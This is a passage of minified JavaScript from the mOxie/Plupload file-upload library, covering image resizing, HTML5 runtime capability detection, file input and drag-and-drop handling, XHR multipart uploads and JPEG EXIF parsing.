o.crop&&(o.crop="cc"),o.crop.toLowerCase().replace(/_/,"-")){case"rb":case"right-bottom":r.x=n.width-r.width,r.y=n.height-r.height;break;case"cb":case"center-bottom":r.x=Math.floor((n.width-r.width)/2),r.y=n.height-r.height;break;case"lb":case"left-bottom":r.x=0,r.y=n.height-r.height;break;case"lt":case"left-top":r.x=0,r.y=0;break;case"ct":case"center-top":r.x=Math.floor((n.width-r.width)/2),r.y=0;break;case"rt":case"right-top":r.x=n.width-r.width,r.y=0;break;case"rc":case"right-center":case"right-middle":r.x=n.width-r.width,r.y=Math.floor((n.height-r.height)/2);break;case"lc":case"left-center":case"left-middle":r.x=0,r.y=Math.floor((n.height-r.height)/2);break;case"cc":case"center-center":case"center-middle":default:r.x=Math.floor((n.width-r.width)/2),r.y=Math.floor((n.height-r.height)/2)}r.x=Math.max(r.x,0),r.y=Math.max(r.y,0)}else 1<(i=Math.min(o.width/n.width,o.height/n.height))&&!o.fit&&(i=1);this.exec("Image","resize",r,i,o)}catch(e){n.trigger("error",e.code)}},downsize:function(e){var t,i={width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90,crop:!1,fit:!1,preserveHeaders:!0,resample:"default"};t="object"==typeof e?c.extend(i,e):c.extend(i,{width:e,height:arguments[1],crop:arguments[2],preserveHeaders:arguments[3]}),this.resize(t)},crop:function(e,t,i){this.downsize(e,t,!0,i)},getAsCanvas:function(){if(!h.can("create_canvas"))throw new l.RuntimeError(l.RuntimeError.NOT_SUPPORTED_ERR);return this.exec("Image","getAsCanvas")},getAsBlob:function(e,t){if(!this.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);return this.exec("Image","getAsBlob",e||"image/jpeg",t||90)},getAsDataURL:function(e,t){if(!this.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);return this.exec("Image","getAsDataURL",e||"image/jpeg",t||90)},getAsBinaryString:function(e,t){var i=this.getAsDataURL(e,t);return p.atob(i.substring(i.indexOf("base64,")+7))},embed:function(s,e){var a,u=this,t=c.extend({width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90,fit:!0,resample:"nearest"},e);try{if(!(s=n.get(s)))throw new l.DOMException(l.DOMException.INVALID_NODE_TYPE_ERR);if(!this.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);this.width>m.MAX_RESIZE_WIDTH||this.height;var i=new m;return i.bind("Resize",function(){(function(e,t){var i=this;if(h.can("create_canvas")){var n=i.getAsCanvas();if(n)return s.appendChild(n),n=null,i.destroy(),void u.trigger("embedded")}var r=i.getAsDataURL(e,t);if(!r)throw new l.ImageError(l.ImageError.WRONG_FORMAT);if(h.can("use_data_uri_of",r.length))s.innerHTML='<img src="'+r+'" width="'+i.width+'" height="'+i.height+'" alt="" />',i.destroy(),u.trigger("embedded");else{var o=new d;o.bind("TransportingComplete",function(){a=u.connectRuntime(this.result.ruid),u.bind("Embedded",function(){c.extend(a.getShimContainer().style,{top:"0px",left:"0px",width:i.width+"px",height:i.height+"px"}),a=null},999),a.exec.call(u,"ImageView","display",this.result.uid,width,height),i.destroy()}),o.transport(p.atob(r.substring(r.indexOf("base64,")+7)),e,{required_caps:{display_media:!0},runtime_order:"flash,silverlight",container:s})}}).call(this,t.type,t.quality)}),i.bind("Load",function(){this.downsize(t)}),this.meta.thumb&&this.meta.thumb.width>=t.width&&this.meta.thumb.height>=t.height?i.load(this.meta.thumb.data):i.clone(this,!1),i}catch(e){this.trigger("error",e.code)}},destroy:function(){this.ruid&&(this.getRuntime().exec.call(this,"Image","destroy"),this.disconnectRuntime()),this.meta&&this.meta.thumb&&this.meta.thumb.data.destroy(),this.unbindAll()}}),this.handleEventProps(f),this.bind("Load Resize",function(){return function(e){try{return e||(e=this.exec("Image","getInfo")),this.size=e.size,this.width=e.width,this.height=e.height,this.type=e.type,this.meta=e.meta,""===this.name&&(this.name=e.name),!0}catch(e){return this.trigger("error",e.code),!1}}.call(this)},999)}var f=["progress","load","error","resize","embedded"];return m.MAX_RESIZE_WIDTH=8192,m.MAX_RESIZE_HEIGHT=8192,m.prototype=i.instance,m}),e("moxie/runtime/html5/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(a,e,u,c){var l={};return u.addConstructor("html5",function(e){var t,i,n=this,r=u.capTest,o=u.capTrue,s=a.extend({access_binary:r(window.FileReader||window.File&&window.File.getAsDataURL),access_image_binary:function(){return n.can("access_binary")&&!!l.Image},display_media:r((c.can("create_canvas")||c.can("use_data_uri_over32kb"))&&d("moxie/image/Image")),do_cors:r(window.XMLHttpRequest&&"withCredentials"in new XMLHttpRequest),drag_and_drop:r((t=document.createElement("div"),("draggable"in t||"ondragstart"in t&&"ondrop"in t)&&("IE"!==c.browser||c.verComp(c.version,9,">")))),filter_by_extension:r(!("Chrome"===c.browser&&c.verComp(c.version,28,"<")||"IE"===c.browser&&c.verComp(c.version,10,"<")||"Safari"===c.browser&&c.verComp(c.version,11,"<=")||"Firefox"===c.browser&&c.verComp(c.version,37,"<")||"iOS"===c.os||"Android"===c.os)),return_response_headers:o,return_response_type:function(e){return!("json"!==e||!window.JSON)||c.can("return_response_type",e)},return_status_code:o,report_upload_progress:r(window.XMLHttpRequest&&(new XMLHttpRequest).upload),resize_image:function(){return n.can("access_binary")&&c.can("create_canvas")},select_file:function(){return c.can("use_fileinput")&&window.File},select_folder:function(){return n.can("select_file")&&("Chrome"===c.browser&&c.verComp(c.version,21,">=")||"Firefox"===c.browser&&c.verComp(c.version,42,">="))},select_multiple:function(){return!(!n.can("select_file")||"Safari"===c.browser&&"Windows"===c.os||"iOS"===c.os&&c.verComp(c.osVersion,"7.0.0",">")&&c.verComp(c.osVersion,"8.0.0","<"))},send_binary_string:r(window.XMLHttpRequest&&((new XMLHttpRequest).sendAsBinary||window.Uint8Array&&window.ArrayBuffer)),send_custom_headers:r(window.XMLHttpRequest),send_multipart:function(){return!!(window.XMLHttpRequest&&(new XMLHttpRequest).upload&&window.FormData)||n.can("send_binary_string")},slice_blob:r(window.File&&(File.prototype.mozSlice||File.prototype.webkitSlice||File.prototype.slice)),stream_upload:function(){return n.can("slice_blob")&&n.can("send_multipart")},summon_file_dialog:function(){return n.can("select_file")&&!("Firefox"===c.browser&&c.verComp(c.version,4,"<")||"Opera"===c.browser&&c.verComp(c.version,12,"<")||"IE"===c.browser&&c.verComp(c.version,10,"<"))},upload_filesize:o,use_http_method:o},arguments[2]);u.call(this,e,arguments[1]||"html5",s),a.extend(this,{init:function(){this.trigger("Init")},destroy:(i=this.destroy,function(){i.call(n),i=n=null})}),a.extend(this.getShim(),l)}),l}),e("moxie/runtime/html5/file/Blob",["moxie/runtime/html5/Runtime","moxie/file/Blob"],function(e,t){return e.Blob=function(){this.slice=function(){return new t(this.getRuntime().uid,function(e,t,i){var n;if(!window.File.prototype.slice)return(n=window.File.prototype.webkitSlice||window.File.prototype.mozSlice)?n.call(e,t,i):null;try{return e.slice(),e.slice(t,i)}catch(n){return e.slice(t,i-t)}}.apply(this,arguments))},this.destroy=function(){this.getRuntime().getShim().removeInstance(this.uid)}}}),e("moxie/core/utils/Events",["moxie/core/utils/Basic"],function(s){function a(){this.returnValue=!1}function u(){this.cancelBubble=!0}var c={},l="moxie_"+s.guid(),r=function(e,t,i){var n;if(t=t.toLowerCase(),e[l]&&c[e[l]]&&c[e[l]][t]){for(var r=(n=c[e[l]][t]).length-1;0<=r&&(n[r].orig!==i&&n[r].key!==i||(e.removeEventListener?e.removeEventListener(t,n[r].func,!1):e.detachEvent&&e.detachEvent("on"+t,n[r].func),n[r].orig=null,n[r].func=null,n.splice(r,1),void 0===i));r--);if(n.length||delete c[e[l]][t],s.isEmptyObj(c[e[l]])){delete c[e[l]];try{delete e[l]}catch(t){e[l]=void 0}}}};return{addEvent:function(e,t,i,n){var r,o;t=t.toLowerCase(),e.addEventListener?(r=i,e.addEventListener(t,r,!1)):e.attachEvent&&(r=function(){var e=window.event;e.target||(e.target=e.srcElement),e.preventDefault=a,e.stopPropagation=u,i(e)},e.attachEvent("on"+t,r)),e[l]||(e[l]=s.guid()),c.hasOwnProperty(e[l])||(c[e[l]]={}),(o=c[e[l]]).hasOwnProperty(t)||(o[t]=[]),o[t].push({func:r,orig:i,key:n})},removeEvent:r,removeAllEvents:function(i,n){i&&i[l]&&s.each(c[i[l]],function(e,t){r(i,t,n)})}}}),e("moxie/runtime/html5/file/FileInput",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,d,h,p,m,f,g){return e.FileInput=function(){var c,l;h.extend(this,{init:function(e){var t,i,n,r,o,s,a=this,u=a.getRuntime();c=e,n=f.extList2mimes(c.accept,u.can("filter_by_extension")),(i=u.getShimContainer()).innerHTML='<input id="'+u.uid+'" type="file" style="font-size:999px;opacity:0;"'+(c.multiple&&u.can("select_multiple")?"multiple":"")+(c.directory&&u.can("select_folder")?"webkitdirectory directory":"")+(n?' accept="'+n.join(",")+'"':"")+" />",t=p.get(u.uid),h.extend(t.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),r=p.get(c.browse_button),l=p.getStyle(r,"z-index")||"auto",u.can("summon_file_dialog")&&("static"===p.getStyle(r,"position")&&(r.style.position="relative"),m.addEvent(r,"click",function(e){var t=p.get(u.uid);t&&!t.disabled&&t.click(),e.preventDefault()},a.uid),a.bind("Refresh",function(){o=parseInt(l,10)||1,p.get(c.browse_button).style.zIndex=o,this.getRuntime().getShimContainer().style.zIndex=o-1})),s=u.can("summon_file_dialog")?r:i,m.addEvent(s,"mouseover",function(){a.trigger("mouseenter")},a.uid),m.addEvent(s,"mouseout",function(){a.trigger("mouseleave")},a.uid),m.addEvent(s,"mousedown",function(){a.trigger("mousedown")},a.uid),m.addEvent(p.get(c.container),"mouseup",function(){a.trigger("mouseup")},a.uid),(u.can("summon_file_dialog")?t:r).setAttribute("tabindex",-1),t.onchange=function e(){if(a.files=[],h.each(this.files,function(e){var t="";return!(!c.directory||"."!=e.name)||(e.webkitRelativePath&&(t="/"+e.webkitRelativePath.replace(/^\//,"")),(e=new d(u.uid,e)).relativePath=t,void a.files.push(e))}),"IE"!==g.browser&&"IEMobile"!==g.browser)this.value="";else{var t=this.cloneNode(!0);this.parentNode.replaceChild(t,this),t.onchange=e}a.files.length&&a.trigger("change")},a.trigger({type:"ready",async:!0}),i=null},setOption:function(e,t){var i=this.getRuntime(),n=p.get(i.uid);switch(e){case"accept":if(t){var r=t.mimes||f.extList2mimes(t,i.can("filter_by_extension"));n.setAttribute("accept",r.join(","))}else n.removeAttribute("accept");break;case"directory":t&&i.can("select_folder")?(n.setAttribute("directory",""),n.setAttribute("webkitdirectory","")):(n.removeAttribute("directory"),n.removeAttribute("webkitdirectory"));break;case"multiple":t&&i.can("select_multiple")?n.setAttribute("multiple",""):n.removeAttribute("multiple")}},disable:function(e){var t,i=this.getRuntime();(t=p.get(i.uid))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),i=e.getShimContainer(),n=c&&p.get(c.container),r=c&&p.get(c.browse_button);n&&m.removeAllEvents(n,this.uid),r&&(m.removeAllEvents(r,this.uid),r.style.zIndex=l),i&&(m.removeAllEvents(i,this.uid),i.innerHTML=""),t.removeInstance(this.uid),c=i=n=r=t=null}})}}),e("moxie/runtime/html5/file/FileDrop",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime"],function(e,r,c,t,l,d){return e.FileDrop=function(){function o(e){if(!e.dataTransfer||!e.dataTransfer.types)return!1;var t=c.toArray(e.dataTransfer.types||[]);return-1!==c.inArray("Files",t)||-1!==c.inArray("public.file-url",t)||-1!==c.inArray("application/x-moz-file",t)}function u(e,t){if(function(e){if(!a.length)return!0;var t=d.getFileExtension(e.name);return!t||-1!==c.inArray(t,a)}(e)){var i=new r(n,e);i.relativePath=t||"",s.push(i)}}var i,n,s=[],a=[];c.extend(this,{init:function(e){var t,r=this;i=e,n=r.ruid,a=function(e){for(var t=[],i=0;i<e.length;i++)[].push.apply(t,e[i].extensions.split(/\s*,\s*/));return-1===c.inArray("*",t)?t:[]}(i.accept),t=i.container,l.addEvent(t,"dragover",function(e){o(e)&&(e.preventDefault(),e.dataTransfer.dropEffect="copy")},r.uid),l.addEvent(t,"drop",function(e){var t,i,n;o(e)&&(e.preventDefault(),s=[],e.dataTransfer.items&&e.dataTransfer.items[0].webkitGetAsEntry?(t=e.dataTransfer.items,i=function(){r.files=s,r.trigger("drop")},n=[],c.each(t,function(e){var t=e.webkitGetAsEntry();t&&(t.isFile?u(e.getAsFile(),t.fullPath):n.push(t))}),n.length?function a(e,t){var i=[];c.each(e,function(s){i.push(function(e){var t,i,n,r,o;i=e,(t=s).isFile?t.file(function(e){u(e,t.fullPath),i()},function(){i()}):t.isDirectory?(n=i,r=[],o=t.createReader(),function t(i){o.readEntries(function(e){e.length?([].push.apply(r,e),t(i)):i()},i)}(function(){a(r,n)})):i()})}),c.inSeries(i,function(){t()})}(n,i):i()):(c.each(e.dataTransfer.files,function(e){u(e)}),r.files=s,r.trigger("drop")))},r.uid),l.addEvent(t,"dragenter",function(){r.trigger("dragenter")},r.uid),l.addEvent(t,"dragleave",function(){r.trigger("dragleave")},r.uid)},destroy:function(){l.removeAllEvents(i&&t.get(i.container),this.uid),n=s=a=i=null,this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html5/file/FileReader",["moxie/runtime/html5/Runtime","moxie/core/utils/Encode","moxie/core/utils/Basic"],function(e,o,s){return e.FileReader=function(){var n,r=!1;s.extend(this,{read:function(e,t){var i=this;i.result="",(n=new window.FileReader).addEventListener("progress",function(e){i.trigger(e)}),n.addEventListener("load",function(e){var t;i.result=r?(t=n.result,o.atob(t.substring(t.indexOf("base64,")+7))):n.result,i.trigger(e)}),n.addEventListener("error",function(e){i.trigger(e,n.error)}),n.addEventListener("loadend",function(e){n=null,i.trigger(e)}),"function"===s.typeOf(n[e])?(r=!1,n[e](t.getSource())):"readAsBinaryString"===e&&(r=!0,n.readAsDataURL(t.getSource()))},abort:function(){n&&n.abort()},destroy:function(){n=null,this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html5/xhr/XMLHttpRequest",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/core/utils/Url","moxie/file/File","moxie/file/Blob","moxie/xhr/FormData","moxie/core/Exceptions","moxie/core/utils/Env"],function(e,l,d,h,p,m,f,g,x){return e.XMLHttpRequest=function(){var u,c,a=this;l.extend(this,{send:function(e,i){var n=this,t="Mozilla"===x.browser&&x.verComp(x.version,4,">=")&&x.verComp(x.version,7,"<"),r="Android Browser"===x.browser,o=!1;if(c=e.url.replace(/^.+?\/([\w\-\.]+)$/,"$1").toLowerCase(),(u=!window.XMLHttpRequest||"IE"===x.browser&&x.verComp(x.version,8,"<")?function(){for(var e=["Msxml2.XMLHTTP.6.0","Microsoft.XMLHTTP"],t=0;t<e.length;t++)try{return new ActiveXObject(e[t])}catch(e){}}():new window.XMLHttpRequest).open(e.method,e.url,e.async,e.user,e.password),i instanceof m)i.isDetached()&&(o=!0),i=i.getSource();else if(i instanceof f){if(i.hasBlob())if(i.getBlob().isDetached())i=function(e){var i="----moxieboundary"+(new Date).getTime(),n="
",r="";if(!this.getRuntime().can("send_binary_string"))throw new g.RuntimeError(g.RuntimeError.NOT_SUPPORTED_ERR);return u.setRequestHeader("Content-Type","multipart/form-data; boundary="+i),e.each(function(e,t){r+=e instanceof m?"--"+i+n+'Content-Disposition: form-data; name="'+t+'"; filename="'+unescape(encodeURIComponent(e.name||"blob"))+'"'+n+"Content-Type: "+(e.type||"application/octet-stream")+n+n+e.getSource()+n:"--"+i+n+'Content-Disposition: form-data; name="'+t+'"'+n+n+unescape(encodeURIComponent(e))+n}),r+="--"+i+"--"+n}.call(n,i),o=!0;else if((t||r)&&"blob"===l.typeOf(i.getBlob().getSource())&&window.FileReader)return void function(e,t){var i,n,r=this;i=t.getBlob().getSource(),(n=new window.FileReader).onload=function(){t.append(t.getBlobName(),new m(null,{type:i.type,data:n.result})),a.send.call(r,e,t)},n.readAsBinaryString(i)}.call(n,e,i);if(i instanceof f){var s=new window.FormData;i.each(function(e,t){e instanceof m?s.append(t,e.getSource()):s.append(t,e)}),i=s}}u.upload?(e.withCredentials&&(u.withCredentials=!0),u.addEventListener("load",function(e){n.trigger(e)}),u.addEventListener("error",function(e){n.trigger(e)}),u.addEventListener("progress",function(e){n.trigger(e)}),u.upload.addEventListener("progress",function(e){n.trigger({type:"UploadProgress",loaded:e.loaded,total:e.total})})):u.onreadystatechange=function(){switch(u.readyState){case 1:case 2:break;case 3:var t,i;try{h.hasSameOrigin(e.url)&&(t=u.getResponseHeader("Content-Length")||0),u.responseText&&(i=u.responseText.length)}catch(e){t=i=0}n.trigger({type:"progress",lengthComputable:!!t,total:parseInt(t,10),loaded:i});break;case 4:u.onreadystatechange=function(){};try{if(200<=u.status&&u.status<400){n.trigger("load");break}}catch(e){}n.trigger("error")}},l.isEmptyObj(e.headers)||l.each(e.headers,function(e,t){u.setRequestHeader(t,e)}),""!==e.responseType&&"responseType"in u&&(u.responseType="json"!==e.responseType||x.can("return_response_type","json")?e.responseType:"text"),o?u.sendAsBinary?u.sendAsBinary(i):function(){for(var e=new Uint8Array(i.length),t=0;t<i.length;t++)e[t]=255&i.charCodeAt(t);u.send(e.buffer)}():u.send(i),n.trigger("loadstart")},getStatus:function(){try{if(u)return u.status}catch(e){}return 0},getResponse:function(e){var t,i,n,r=this.getRuntime();try{switch(e){case"blob":var o=new p(r.uid,u.response),s=u.getResponseHeader("Content-Disposition");if(s){var a=s.match(/filename=([\'\"'])([^]+)/);a&&(c=a[2])}return o.name=c,o.type||(o.type=d.getFileMime(c)),o;case"json":return x.can("return_response_type","json")?u.response:200===u.status&&window.JSON?JSON.parse(u.responseText):null;case"document":return i=(t=u).responseXML,n=t.responseText,"IE"===x.browser&&n&&i&&!i.documentElement&&/[^\/]+\/[^\+]+\+xml/.test(t.getResponseHeader("Content-Type"))&&((i=new window.ActiveXObject("Microsoft.XMLDOM")).async=!1,i.validateOnParse=!1,i.loadXML(n)),i&&("IE"===x.browser&&0!==i.parseError||!i.documentElement||"parsererror"===i.documentElement.tagName)?null:i;default:return""!==u.responseText?u.responseText:null}}catch(e){return null}},getAllResponseHeaders:function(){try{return u.getAllResponseHeaders()}catch(e){}return""},abort:function(){u&&u.abort()},destroy:function(){a=c=null,this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html5/utils/BinaryReader",["moxie/core/utils/Basic"],function(t){function e(e){e instanceof ArrayBuffer?function(r){var o=new DataView(r);t.extend(this,{readByteAt:function(e){return o.getUint8(e)},writeByteAt:function(e,t){o.setUint8(e,t)},SEGMENT:function(e,t,i){switch(arguments.length){case 2:return r.slice(e,e+t);case 1:return r.slice(e);case 3:if(null===i&&(i=new ArrayBuffer),i instanceof ArrayBuffer){var n=new Uint8Array(this.length()-t+i.byteLength);0<e&&n.set(new Uint8Array(r.slice(0,e)),0),n.set(new Uint8Array(i),e),n.set(new Uint8Array(r.slice(e+t)),e+i.byteLength),this.clear(),r=n.buffer,o=new DataView(r);break}default:return r}},length:function(){return r?r.byteLength:0},clear:function(){o=r=null}})}.apply(this,arguments):function(n){function r(e,t,i){i=3===arguments.length?i:n.length-t-1,n=n.substr(0,t)+e+n.substr(i+t)}t.extend(this,{readByteAt:function(e){return n.charCodeAt(e)},writeByteAt:function(e,t){r(String.fromCharCode(t),e,1)},SEGMENT:function(e,t,i){switch(arguments.length){case 1:return n.substr(e);case 2:return n.substr(e,t);case 3:r(null!==i?i:"",e,t);break;default:return n}},length:function(){return n?n.length:0},clear:function(){n=null}})}.apply(this,arguments)}return t.extend(e.prototype,{littleEndian:!1,read:function(e,t){var i,n,r;if(e+t>this.length())throw new Error("You are trying to read outside the source boundaries.");for(n=this.littleEndian?0:-8*(t-1),i=r=0;r<t;r++)i|=this.readByteAt(e+r)<<Math.abs(n+8*r);return i},write:function(e,t,i){var n,r;if(e>this.length())throw new Error("You are trying to write outside the source boundaries.");for(n=this.littleEndian?0:-8*(i-1),r=0;r<i;r++)this.writeByteAt(e+r,255&t>>Math.abs(n+8*r))},BYTE:function(e){return this.read(e,1)},SHORT:function(e){return this.read(e,2)},LONG:function(e){return this.read(e,4)},SLONG:function(e){var t=this.read(e,4);return 2147483647<t?t-4294967296:t},CHAR:function(e){return String.fromCharCode(this.read(e,1))},STRING:function(e,t){return this.asArray("CHAR",e,t).join("")},asArray:function(e,t,i){for(var n=[],r=0;r<i;r++)n[r]=this[e](t+r);return n}}),e}),e("moxie/runtime/html5/image/JPEGHeaders",["moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(a,u){return function o(e){var t,r,i,s=[],n=0;if(65496!==(t=new a(e)).SHORT(0))throw t.clear(),new u.ImageError(u.ImageError.WRONG_FORMAT);for(r=2;r<=t.length();)if(65488<=(i=t.SHORT(r))&&i<=65495)r+=2;else{if(65498===i||65497===i)break;n=t.SHORT(r+2)+2,65505<=i&&i<=65519&&s.push({hex:i,name:"APP"+(15&i),start:r,length:n,segment:t.SEGMENT(r,n)}),r+=n}return t.clear(),{headers:s,restore:function(e){var t,i,n;for(n=new a(e),r=65504==n.SHORT(2)?4+n.SHORT(4):2,i=0,t=s.length;i<t;i++)n.SEGMENT(r,0,s[i].segment),r+=s[i].length;return e=n.SEGMENT(),n.clear(),e},strip:function(e){var t,i,n,r;for(i=(n=new o(e)).headers,n.purge(),t=new a(e),r=i.length;r--;)t.SEGMENT(i[r].start,i[r].length,"");return e=t.SEGMENT(),t.clear(),e},get:function(e){for(var t=[],i=0,n=s.length;i<n;i++)s[i].name===e.toUpperCase()&&t.push(s[i].segment);return t},set:function(e,t){var i,n,r,o=[];for("string"==typeof t?o.push(t):o=t,i=n=0,r=s.length;i<r&&(s[i].name===e.toUpperCase()&&(s[i].segment=o[n],s[i].length=o[n].length,n++),!(n>=o.length));i++);},purge:function(){this.headers=s=[]}}}}),e("moxie/runtime/html5/image/ExifParser",["moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(x,s,v){function a(e){function n(e,t){var i,n,r,o,s,a,u,c,l=this,d=[],h={},p={1:"BYTE",7:"UNDEFINED",2:"ASCII",3:"SHORT",4:"LONG",5:"RATIONAL",9:"SLONG",10:"SRATIONAL"},m={BYTE:1,UNDEFINED:1,ASCII:1,SHORT:2,LONG:4,RATIONAL:8,SLONG:4,SRATIONAL:8};for(i=l.SHORT(e),n=0;n<i;n++)if(d=[],u=e+2+12*n,(r=t[l.SHORT(u)])!==y){if(o=p[l.SHORT(u+=2)],s=l.LONG(u+=2),!(a=m[o]))throw new v.ImageError(v.ImageError.INVALID_META_ERR);if(u+=4,4<a*s&&(u=l.LONG(u)+g.tiffHeader),u+a*s>=this.length())throw new v.ImageError(v.ImageError.INVALID_META_ERR);"ASCII"!==o?(d=l.asArray(o,u,s),c=1==s?d[0]:d,h[r]=f.hasOwnProperty(r)&&"object"!=typeof c?f[r][c]:c):h[r]=x.trim(l.STRING(u,s).replace(/$/,""))}return h}var t,l,f,g,i,r;if(s.call(this,e),l={tiff:{274:"Orientation",270:"ImageDescription",271:"Make",272:"Model",305:"Software",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",37386:"FocalLength",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"},thumb:{513:"JPEGInterchangeFormat",514:"JPEGInterchangeFormatLength"}},f={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire",1:"Flash fired",5:"Strobe return light not detected",7:"Strobe return light detected",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}},i=(g={tiffHeader:10}).tiffHeader,t={clear:this.clear},x.extend(this,{read:function(){try{return a.prototype.read.apply(this,arguments)}catch(e){throw new v.ImageError(v.ImageError.INVALID_META_ERR)}},write:function(){try{return a.prototype.write.apply(this,arguments)}catch(e){throw new v.ImageError(v.ImageError.INVALID_META_ERR)}},UNDEFINED:function(){return this.BYTE.apply(this,arguments)},RATIONAL:function(e){return this.LONG(e)/this.LONG(e+4)},SRATIONAL:function(e){return this.SLONG(e)/this.SLONG(e+4)},ASCII:function(e){return this.CHAR(e)},TIFF:function(){return r||null},EXIF:function(){var e=null;if(g.exifIFD){try{e=n.call(this,g.exifIFD,l.exif)}catch(e){return null}if(e.ExifVersion&&"array"===x.typeOf(e.ExifVersion)){for(var t=0,i="";t<e.ExifVersion.length;t++)i+=String.fromCharCode(e.ExifVersion[t]);e.ExifVersion=i}}return e},GPS:function(){var e=null;if(g.gpsIFD){try{e=n.call(this,g.gpsIFD,l.gps)}catch(e){return null}e.GPSVersionID&&"array"===x.typeOf(e.GPSVersionID)&&(e.GPSVersionID=e.GPSVersionID.join("."))}return e},thumb:function(){if(g.IFD1)try{var e=n.call(this,g.IFD1,l.thumb);if("JPEGInterchangeFormat"in e)return this.SEGMENT(g.tiffHeader+e.JPEGInterchangeFormat,e.JPEGInterchangeFormatLength)}catch(e){}return null},setExif:function(e,t){return("PixelXDimension"===e||"PixelYDimension"===e)&&function(e,t,i){var n,r,o,s=0;if("string"==typeof t){var a=l[e.toLowerCase()];for(var u in a)if(a[u]===t){t=u;break}}n=g[e.toLowerCase()+"IFD"],r=this.SHORT(n);for(var c=0;c<r;c++)if(o=n+12*c+2,this.SHORT(o)==t){s=o+8;break}if(!s)return!1;try{this.write(s,i,4)}catch(e){return!1}return!0}.call(this,"exif",e,t)},clear:function(){t.clear(),e=l=f=r=g=t=null}}),65505!==this.SHORT(0)||"EXIF"!==this.STRING(4,5).toUpperCase())throw new v.ImageError(v.ImageError.INVALID_META_ERR);if(this.littleEndian=18761==this.SHORT(i),42!==this.SHORT(i+=2))throw new v.ImageError(v.ImageError.INVALID_META_ERR);g.IFD0=g.tiffHeader+this.LONG(i+=2),"ExifIFDPointer"in(r=n.call(this,g.IFD0,l.tiff))&&(g.exifIFD=g.tiffHeader+r.ExifIFDPointer,delete r.ExifIFDPointer),"GPSInfoIFDPointer"in r&&(g.gpsIFD=g.tiffHeader+r.GPSInfoIFDPointer,delete r.GPSInfoIFDPointer),x.isEmptyObj(r)&&(r=null);var o=this.LONG(g.IFD0+12*this.SHORT(g.IFD0)+2);o&&(g.IFD1=g.tiffHeader+o)}return a.prototype=s.prototype,a}),e("moxie/runtime/html5/image/JPEG",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEGHeaders","moxie/runtime/html5/utils/BinaryReader","moxie/runtime/html5/image/ExifParser"],function(c,l,d,h,p){return function(e){function t(e){var t,i,n=0;for(e||(e=r);n<=e.length();){if(65472<=(t=e.SHORT(n+=2))&&t<=65475)return n+=5,{height:e.SHORT(n),width:e.SHORT(n+=2)};i=e.SHORT(n+=2),n+=i-2}return null}var r,i,n,o,s,a,u;if(65496!==(r=new h(e)).SHORT(0))throw new l.ImageError(l.ImageError.WRONG_FORMAT);i=new d(e);try{n=new 